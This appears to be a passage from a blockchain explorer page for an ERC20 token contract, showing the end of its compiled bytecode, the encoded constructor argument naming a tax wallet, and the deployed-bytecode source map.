127cb576127ca612520565b5b60006127d98582860161256e565b92505060206127ea8582860161256e565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061282a602083612479565b9150612835826127f4565b602082019050919050565b600060208201905081810360008301526128598161281d565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612896601783612479565b91506128a182612860565b602082019050919050565b600060208201905081810360008301526128c581612889565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156129525780860481111561292e5761292d6128cc565b5b600185161561293d5780820291505b808102905061294b856128fb565b9450612912565b94509492505050565b60008261296b5760019050612a27565b816129795760009050612a27565b816001811461298f5760028114612999576129c8565b6001915050612a27565b60ff8411156129ab576129aa6128cc565b5b8360020a9150848211156129c2576129c16128cc565b5b50612a27565b5060208310610133831016604e8410600b84101617156129fd5782820a9050838111156129f8576129f76128cc565b5b612a27565b612a0a8484846001612908565b92509050818404811115612a2157612a206128cc565b5b81810290505b9392505050565b6000612a3982612583565b9150612a4483612726565b9250612a717fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461295b565b905092915050565b6000612a8482612583565b9150612a8f83612583565b9250828202612a9d81612583565b91508282048414831517612ab457612ab36128cc565b5b5092915050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b6000612af1601683612479565b9150612afc82612abb565b602082019050919050565b60006020820190508181036000830152612b2081612ae4565b9050919050565b600081519050612b3681612557565b92915050565b600060208284031215612b5257612b51612520565b5b6000612b6084828501612b27565b91505092915050565b6000604082019050612b7e600083018561275d565b612b8b602083018461275d565b9392505050565b6000819050919050565b6000612bb7612bb2612bad84612b92565b612659565b612583565b9050919050565b612bc781612b9c565b82525050565b600060c082019050612be2600083018961275d565b612bef602083018861262f565b612bfc6040830187612bbe565b612c096060830186612bbe565b612c16608083018561275d565b612c2360a083018461262f565b979650505050505050565b600081519050612c3d8161258d565b92915050565b600080600060608486031215612c5c57612c5b612520565b5b6000612c6a86828701612c2e565b9350506020612c7b86828701612c2e565b9250506040612c8c86828701612c2e565b9150509250925092565b6000604082019050612cab600083018561275d565b612cb8602083018461262f565b9392505050565b612cc8816125f9565b8114612cd357600080fd5b50565b600081519050612ce581612cbf565b92915050565b600060208284031215612d0157612d00612520565b5b6000612d0f84828501612cd6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d74602483612479565b9150612d7f82612d18565b604082019050919050565b60006020820190508181036000830152612da381612d67565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e06602283612479565b9150612e1182612daa565b604082019050919050565b60006020820190508181036000830152612e3581612df9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e98602583612479565b9150612ea382612e3c565b604082019050919050565b60006020820190508181036000830152612ec781612e8b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612f2a602383612479565b9150612f3582612ece565b604082019050919050565b60006020820190508181036000830152612f5981612f1d565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612fbc602983612479565b9150612fc782612f60565b604082019050919050565b60006020820190508181036000830152612feb81612faf565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000613028601383612479565b915061303382612ff2565b602082019050919050565b600060208201905081810360008301526130578161301b565b9050919050565b7f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b60006130ba602483612479565b91506130c58261305e565b604082019050919050565b600060208201905081810360008301526130e9816130ad565b9050919050565b7f4578636565647320746865205f6d617854782e00000000000000000000000000600082015250565b6000613126601383612479565b9150613131826130f0565b602082019050919050565b6000602082019050818103600083015261315581613119565b9050919050565b600061316782612583565b915061317283612583565b925082820190508082111561318a576131896128cc565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006131c6601a83612479565b91506131d182613190565b602082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b600061320782612583565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613239576132386128cc565b5b600182019050919050565b600061324f82612583565b915061325a83612583565b9250828203905081811115613272576132716128cc565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006132b282612583565b91506132bd83612583565b9250826132cd576132cc613278565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613334602183612479565b915061333f826132d8565b604082019050919050565b6000602082019050818103600083015261336381613327565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133fd81612545565b82525050565b600061340f83836133f4565b60208301905092915050565b6000602082019050919050565b6000613433826133c8565b61343d81856133d3565b9350613448836133e4565b8060005b838110156134795781516134608882613403565b975061346b8361341b565b92505060018101905061344c565b5085935050505092915050565b600060a08201905061349b600083018861262f565b6134a86020830187612bbe565b81810360408301526134ba8186613428565b90506134c9606083018561275d565b6134d6608083018461262f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613516601b83612479565b9150613521826134e0565b602082019050919050565b6000602082019050818103600083015261354581613509565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acebd0b877c787bffefa11fad6b294451d565293cd2092e74c3050707b3ed82664736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000fd69a0f6b97254c028448c3df4f75dcb32706d06
-----Decoded View---------------
Arg [0] : VeerAIWallet (address): 0xfd69a0F6B97254C028448c3df4F75dcb32706D06
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000fd69a0f6b97254c028448c3df4f75dcb32706d06
Deployed Bytecode Sourcemap
3796:8470:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10360:176;;;;;;;;;;;;;:::i;:::-;;7305:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5836:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4965:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5027:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5731:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6153:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6746:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5075:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4896:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7181:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2877:148;;;;;;;;;;;;;:::i;:::-;;4780:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4836:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2503:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6651:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6476:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10589:209;;;;;;;;;;;;;:::i;:::-;;4147:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6002:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11964:186;;;;;;;;;;;;;:::i;:::-;;11377:582;;;;;;;;;;;;;:::i;:::-;;10360:176;2800:12;:10;:12::i;:::-;2790:22;;:6;;;;;;;;;;:22;;;2782:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10432:11:::1;;;;;;;;;;;10431:12;10423:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;10495:4;10481:11;;:18;;;;;;;;;;;;;;;;;;10524:4;10510:11;;:18;;;;;;;;;;;;;;;;;;10360:176::o:0;7305:83::-;7342:13;7375:5;;;;;;;;;;;;;;;;;7368:12;;7305:83;:::o;5836:161::-;5911:4;5928:39;5937:12;:10;:12::i;:::-;5951:7;5960:6;5928:8;:39::i;:::-;5985:4;5978:11;;5836:161;;;;:::o;4965:51::-;;;;:::o;5027:41::-;;;;;;;;;;;;;:::o;5731:100::-;5784:7;4697:2;4760;:13;;;;:::i;:::-;4746:11;:27;;;;:::i;:::-;5804:19;;5731:100;:::o;6153:313::-;6251:4;6268:36;6278:6;6286:9;6297:6;6268:9;:36::i;:::-;6315:121;6324:6;6332:12;:10;:12::i;:::-;6346:89;6384:6;6346:89;;;;;;;;;;;;;;;;;:11;:19;6358:6;6346:19;;;;;;;;;;;;;;;:33;6366:12;:10;:12::i;:::-;6346:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6315:8;:121::i;:::-;6454:4;6447:11;;6153:313;;;;;:::o;6746:83::-;6787:5;4697:2;6805:16;;6746:83;:::o;5075:28::-;;;;;;;;;;;;;:::o;4896:62::-;;;;:::o;7181:119::-;7247:7;7274:9;:18;7284:7;7274:18;;;;;;;;;;;;;;;;7267:25;;7181:119;;;:::o;2877:148::-;2800:12;:10;:12::i;:::-;2790:22;;:6;;;;;;;;;;:22;;;2782:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2984:1:::1;2947:40;;2968:6;::::0;::::1;;;;;;;;2947:40;;;;;;;;;;;;3015:1;2998:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2877:148::o:0;4780:49::-;;;;:::o;4836:53::-;;;;:::o;2503:79::-;2541:7;2568:6;;;;;;;;;;;2561:13;;2503:79;:::o;6651:87::-;6690:13;6723:7;;;;;;;;;;;;;;;;;6716:14;;6651:87;:::o;6476:167::-;6554:4;6571:42;6581:12;:10;:12::i;:::-;6595:9;6606:6;6571:9;:42::i;:::-;6631:4;6624:11;;6476:167;;;;:::o;10589:209::-;2800:12;:10;:12::i;:::-;2790:22;;:6;;;;;;;;;;:22;;;2782:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4697:2:::1;4760;:13;;;;:::i;:::-;4746:11;:27;;;;:::i;:::-;10648:6;:21;;;;4697:2;4760;:13;;;;:::i;:::-;4746:11;:27;;;;:::i;:::-;10680:10;:23;;;;10737:5;10716:20;;:26;;;;;;;;;;;;;;;;;;10758:32;4697:2;4760;:13;;;;:::i;:::-;4746:11;:27;;;;:::i;:::-;10758:32;;;;;;:::i;:::-;;;;;;;;10589:209::o:0;4147:40::-;;;;;;;;;;;;;:::o;6002:143::-;6083:7;6110:11;:18;6122:5;6110:18;;;;;;;;;;;;;;;:27;6129:7;6110:27;;;;;;;;;;;;;;;;6103:34;;6002:143;;;;:::o;11964:186::-;2800:12;:10;:12::i;:::-;2790:22;;:6;;;;;;;;;;:22;;;2782:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12052:1:::1;12028:21;:25;12020:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;12099:10;12091:28;;:51;12120:21;12091:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;11964:186::o:0;11377:582::-;2800:12;:10;:12::i;:::-;2790:22;;:6;;;;;;;;;;:22;;;2782:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11483:42:::1;11446:15;;:80;;;;;;;;;;;;;;;;;;11537:63;11554:4;11569:15;;;;;;;;;;;4697:2;4760;:13;;;;:::i;:::-;4746:11;:27;;;;:::i;:::-;11537:8;:63::i;:::-;11645:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11627:55;;;11691:4;11698:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11627:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11611:13;;:110;;;;;;;;;;;;;;;;;;11732:15;;;;;;;;;;;:31;;;11771:21;11802:4;11808:24;11826:4;11808:9;:24::i;:::-;11833:1;11835::::0;11837:7:::1;:5;:7::i;:::-;11845:15;11732:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11879:13;;;;;;;;;;;11872:29;;;11910:15;;;;;;;;;;;11928:14;11872:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11377:582::o:0;1100:98::-;1153:7;1180:10;1173:17;;1100:98;:::o;6834:335::-;6944:1;6927:19;;:5;:19;;;6919:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7025:1;7006:21;;:7;:21;;;6998:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7107:6;7077:11;:18;7089:5;7077:18;;;;;;;;;;;;;;;:27;7096:7;7077:27;;;;;;;;;;;;;;;:36;;;;7145:7;7129:32;;7138:5;7129:32;;;7154:6;7129:32;;;;;;:::i;:::-;;;;;;;;6834:335;;;:::o;7408:2838::-;7512:1;7496:18;;:4;:18;;;7488:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7589:1;7575:16;;:2;:16;;;7567:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7659:1;7650:6;:10;7642:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7719:17;7749;7769:6;7749:26;;7800:7;:5;:7::i;:::-;7792:15;;:4;:15;;;;:32;;;;;7817:7;:5;:7::i;:::-;7811:13;;:2;:13;;;;7792:32;:57;;;;;7844:4;7828:21;;:4;:21;;;;7792:57;7788:2093;;;7883:18;:24;7902:4;7883:24;;;;;;;;;;;;;;;;;;;;;;;;;7882:25;:52;;;;;7912:18;:22;7931:2;7912:22;;;;;;;;;;;;;;;;;;;;;;;;;7911:23;7882:52;7878:136;;;7963:11;;;;;;;;;;;7955:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;7878:136;8035:20;;;;;;;;;;;8031:346;;;8094:15;;;;;;;;;;;8080:30;;:2;:30;;;;:62;;;;;8128:13;;;;;;;;;;;8114:28;;:2;:28;;;;8080:62;8076:286;;;8215:12;8173:28;:39;8202:9;8173:39;;;;;;;;;;;;;;;;:54;8165:102;;;;;;;;;;;;:::i;:::-;;;;;;;;;8330:12;8288:28;:39;8317:9;8288:39;;;;;;;;;;;;;;;:54;;;;8076:286;8031:346;8405:13;;;;;;;;;;;8397:21;;:4;:21;;;:55;;;;;8436:15;;;;;;;;;;;8422:30;;:2;:30;;;;8397:55;:83;;;;;8458:18;:22;8477:2;8458:22;;;;;;;;;;;;;;;;;;;;;;;;;8456:24;8397:83;8393:313;;;8520:6;;8510;:16;;8502:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;8603:10;;8593:6;8577:13;8587:2;8577:9;:13::i;:::-;:22;;;;:::i;:::-;:36;;8569:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;8679:9;;:11;;;;;;;;;:::i;:::-;;;;;;8393:313;8736:73;8805:3;8736:64;8758:15;;8748:9;;:25;8747:52;;8788:11;;8747:52;;;8775:12;;8747:52;8736:6;:10;;:64;;;;:::i;:::-;:68;;:73;;;;:::i;:::-;8724:85;;8833:13;;;;;;;;;;;8827:19;;:2;:19;;;:43;;;;;8865:4;8850:20;;:4;:20;;;;8827:43;8824:470;;;8910:16;;;;;;;;;;;8894:33;;:4;:33;;;8891:388;;8964:52;8968:6;8976:39;8980:12;;8994:20;;8976:3;:39::i;:::-;8964:3;:52::i;:::-;8952:64;;9051:1;9039:13;;8891:388;;;9119:6;;9109;:16;;9101:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;9183:76;9255:3;9183:67;9205:16;;9195:9;;:26;9194:55;;9237:12;;9194:55;;;9223:13;;9194:55;9183:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;9171:88;;8891:388;8824:470;9310:28;9341:24;9359:4;9341:9;:24::i;:::-;9310:55;;9380:14;9407:18;;9397:9;;:28;:89;;;;;9453:33;9457:6;9465:20;;9453:3;:33::i;:::-;9429:20;;:57;9397:89;9380:106;;9508:6;;;;;;;;;;;9507:7;:30;;;;;9524:13;;;;;;;;;;;9518:19;;:2;:19;;;9507:30;:45;;;;;9541:11;;;;;;;;;;;9507:45;:77;;;;;9566:18;;9556:9;;:28;9507:77;:90;;;;;9588:9;9507:90;9503:367;;;9644:20;;9621;:43;9618:164;;;9689:73;9712:49;9716:6;9723:37;9727:20;9748:11;;9723:3;:37::i;:::-;9712:3;:49::i;:::-;9689:22;:73::i;:::-;9618:164;9816:35;9829:21;9816:12;:35::i;:::-;9503:367;7851:2030;;7788:2093;9908:1;9896:9;:13;9893:163;;;9948:39;9977:9;9948;:24;9966:4;9948:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9923:9;:24;9941:4;9923:24;;;;;;;;;;;;;;;:64;;;;10028:4;10005:39;;10014:4;10005:39;;;10034:9;10005:39;;;;;;:::i;:::-;;;;;;;;9893:163;10084:30;10104:9;10084;:15;10094:4;10084:15;;;;;;;;;;;;;;;;:19;;:30;;;;:::i;:::-;10068:9;:15;10078:4;10068:15;;;;;;;;;;;;;;;:46;;;;10139:40;10157:21;10168:9;10157:6;:10;;:21;;;;:::i;:::-;10139:9;:13;10149:2;10139:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;10125:9;:13;10135:2;10125:13;;;;;;;;;;;;;;;:54;;;;10212:2;10197:41;;10206:4;10197:41;;;10216:21;10227:9;10216:6;:10;;:21;;;;:::i;:::-;10197:41;;;;;;:::i;:::-;;;;;;;;7477:2769;;7408:2838;;;:::o;1697:190::-;1783:7;1816:1;1811;:6;;1819:12;1803:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1843:9;1859:1;1855;:5;;;;:::i;:::-;1843:17;;1878:1;1871:8;;;1697:190;;;;;:::o;1895:246::-;1953:7;1982:1;1977;:6;1973:47;;2007:1;2000:8;;;;1973:47;2030:9;2046:1;2042;:5;;;;:::i;:::-;2030:17;;2075:1;2070;2066;:5;;;;:::i;:::-;:10;2058:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2132:1;2125:8;;;1895:246;;;;;:::o;1557:132::-;1615:7;1642:39;1646:1;1649;1642:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1635:46;;1557:132;;;;:::o;10254:98::-;10311:7;10338:1;10336;:3;10335:9;;10343:1;10335:9;;;10341:1;10335:9;10328:16;;10254:98;;;;:::o;10808:561::-;5301:4;5292:6;;:13;;;;;;;;;;;;;;;;;;10908:1:::1;10895:11;:14:::0;10892:27;10911:7:::1;10892:27;10933:11;;;;;;;;;;;10929:25:::0;10946:7:::1;10929:25;10964:21;11002:1;10988:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10964:40;;11033:4;11015;11020:1;11015:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11059:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11049:4;11054:1;11049:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11092:62;11109:4;11124:15;;;;;;;;;;;11142:11;11092:8;:62::i;:::-;11165:15;;;;;;;;;;;:66;;;11246:11;11272:1;11288:4;11315;11335:15;11165:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10881:488;5316:1;5337:5:::0;5328:6;;:14;;;;;;;;;;;;;;;;;;10808:561;:::o;12158:98::-;12215:16;;;;;;;;;;;:25;;:33;12241:6;12215:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12158:98;:::o;1229:179::-;1287:7;1307:9;1323:1;1319;:5;;;;:::i;:::-;1307:17;;1348:1;1343;:6;;1335:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1399:1;1392:8;;;1229:179;;;;:::o;1416:136::-;1474:7;1501:43;1505:1;1508;1501:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1494:50;;1416:136;;;;:::o;2149:189::-;2235:7;2267:1;2263;:5;2270:12;2255:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2294:9;2310:1;2306;:5;;;;:::i;:::-;2294:17;;2329:1;2322:8;;;2149:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:60::-;3826:3;3847:5;3840:12;;3798:60;;;:::o;3864:142::-;3914:9;3947:53;3965:34;3974:24;3992:5;3974:24;:::i;:::-;3965:34;:::i;:::-;3947:53;:::i;:::-;3934:66;;3864:142;;;:::o;4012:126::-;4062:9;4095:37;4126:5;4095:37;:::i;:::-;4082:50;;4012:126;;;:::o;4144:152::-;4220:9;4253:37;4284:5;4253:37;:::i;:::-;4240:50;;4144:152;;;:::o;4302:183::-;4415:63;4472:5;4415:63;:::i;:::-;4410:3;4403:76;4302:183;;:::o;4491:274::-;4610:4;4648:2;4637:9;4633:18;4625:26;;4661:97;4755:1;4744:9;4740:17;4731:6;4661:97;:::i;:::-;4491:274;;;;:::o;4771:619::-;4848:6;4856;4864;4913:2;4901:9;4892:7;4888:23;4884:32;4881:119;;;4919:79;;:::i;:::-;4881:119;5039:1;5064:53;5109:7;5100:6;5089:9;5085:22;5064:53;:::i;:::-;5054:63;;5010:117;5166:2;5192:53;5237:7;5228:6;5217:9;5213:22;5192:53;:::i;:::-;5182:63;;5137:118;5294:2;5320:53;5365:7;5356:6;5345:9;5341:22;5320:53;:::i;:::-;5310:63;;5265:118;4771:619;;;;;:::o;5396:86::-;5431:7;5471:4;5464:5;5460:16;5449:27;;5396:86;;;:::o;5488:112::-;5571:22;5587:5;5571:22;:::i;:::-;5566:3;5559:35;5488:112;;:::o;5606:214::-;5695:4;5733:2;5722:9;5718:18;5710:26;;5746:67;5810:1;5799:9;5795:17;5786:6;5746:67;:::i;:::-;5606:214;;;;:::o;5826:118::-;5913:24;5931:5;5913:24;:::i;:::-;5908:3;5901:37;5826:118;;:::o;5950:222::-;6043:4;6081:2;6070:9;6066:18;6058:26;;6094:71;6162:1;6151:9;6147:17;6138:6;6094:71;:::i;:::-;5950:222;;;;:::o;6178:329::-;6237:6;6286:2;6274:9;6265:7;6261:23;6257:32;6254:119;;;6292:79;;:::i;:::-;6254:119;6412:1;6437:53;6482:7;6473:6;6462:9;6458:22;6437:53;:::i;:::-;6427:63;;6383:117;6178:329;;;;:::o;6513:474::-;6581:6;6589;6638:2;6626:9;6617:7;6613:23;6609:32;6606:119;;;6644:79;;:::i;:::-;6606:119;6764:1;6789:53;6834:7;6825:6;6814:9;6810:22;6789:53;:::i;:::-;6779:63;;6735:117;6891:2;6917:53;6962:7;6953:6;6942:9;6938:22;6917:53;:::i;:::-;6907:63;;6862:118;6513:474;;;;;:::o;6993:182::-;7133:34;7129:1;7121:6;7117:14;7110:58;6993:182;:::o;7181:366::-;7323:3;7344:67;7408:2;7403:3;7344:67;:::i;:::-;7337:74;;7420:93;7509:3;7420:93;:::i;:::-;7538:2;7533:3;7529:12;7522:19;;7181:366;;;:::o;7553:419::-;7719:4;7757:2;7746:9;7742:18;7734:26;;7806:9;7800:4;7796:20;7792:1;7781:9;7777:17;7770:47;7834:131;7960:4;7834:131;:::i;:::-;7826:139;;7553:419;;;:::o;7978:173::-;8118:25;8114:1;8106:6;8102:14;8095:49;7978:173;:::o;8157:366::-;8299:3;8320:67;8384:2;8379:3;8320:67;:::i;:::-;8313:74;;8396:93;8485:3;8396:93;:::i;:::-;8514:2;8509:3;8505:12;8498:19;;8157:366;;;:::o;8529:419::-;8695:4;8733:2;8722:9;8718:18;8710:26;;8782:9;8776:4;8772:20;8768:1;8757:9;8753:17;8746:47;8810:131;8936:4;8810:131;:::i;:::-;8802:139;;8529:419;;;:::o;8954:180::-;9002:77;8999:1;8992:88;9099:4;9096:1;9089:15;9123:4;9120:1;9113:15;9140:102;9182:8;9229:5;9226:1;9222:13;9201:34;;9140:102;;;:::o;9248:848::-;9309:5;9316:4;9340:6;9331:15;;9364:5;9355:14;;9378:712;9399:1;9389:8;9386:15;9378:712;;;9494:4;9489:3;9485:14;9479:4;9476:24;9473:50;;;9503:18;;:::i;:::-;9473:50;9553:1;9543:8;9539:16;9536:451;;;9968:4;9961:5;9957:16;9948:25;;9536:451;10018:4;10012;10008:15;10000:23;;10048:32;10071:8;10048:32;:::i;:::-;10036:44;;9378:712;;;9248:848;;;;;;;:::o;10102:1073::-;10156:5;10347:8;10337:40;;10368:1;10359:10;;10370:5;;10337:40;10396:4;10386:36;;10413:1;10404:10;;10415:5;;10386:36;10482:4;10530:1;10525:27;;;;10566:1;10561:191;;;;10475:277;;10525:27;10543:1;10534:10;;10545:5;;;10561:191;10606:3;10596:8;10593:17;10590:43;;;10613:18;;:::i;:::-;10590:43;10662:8;10659:1;10655:16;10646:25;;10697:3;10690:5;10687:14;10684:40;;;10704:18;;:::i;:::-;10684:40;10737:5;;;10475:277;;10861:2;10851:8;10848:16;10842:3;10836:4;10833:13;10829:36;10811:2;10801:8;10798:16;10793:2;10787:4;10784:12;10780:35;10764:111;10761:246;;;10917:8;10911:4;10907:19;10898:28;;10952:3;10945:5;10942:14;10939:40;;;10959:18;;:::i;:::-;10939:4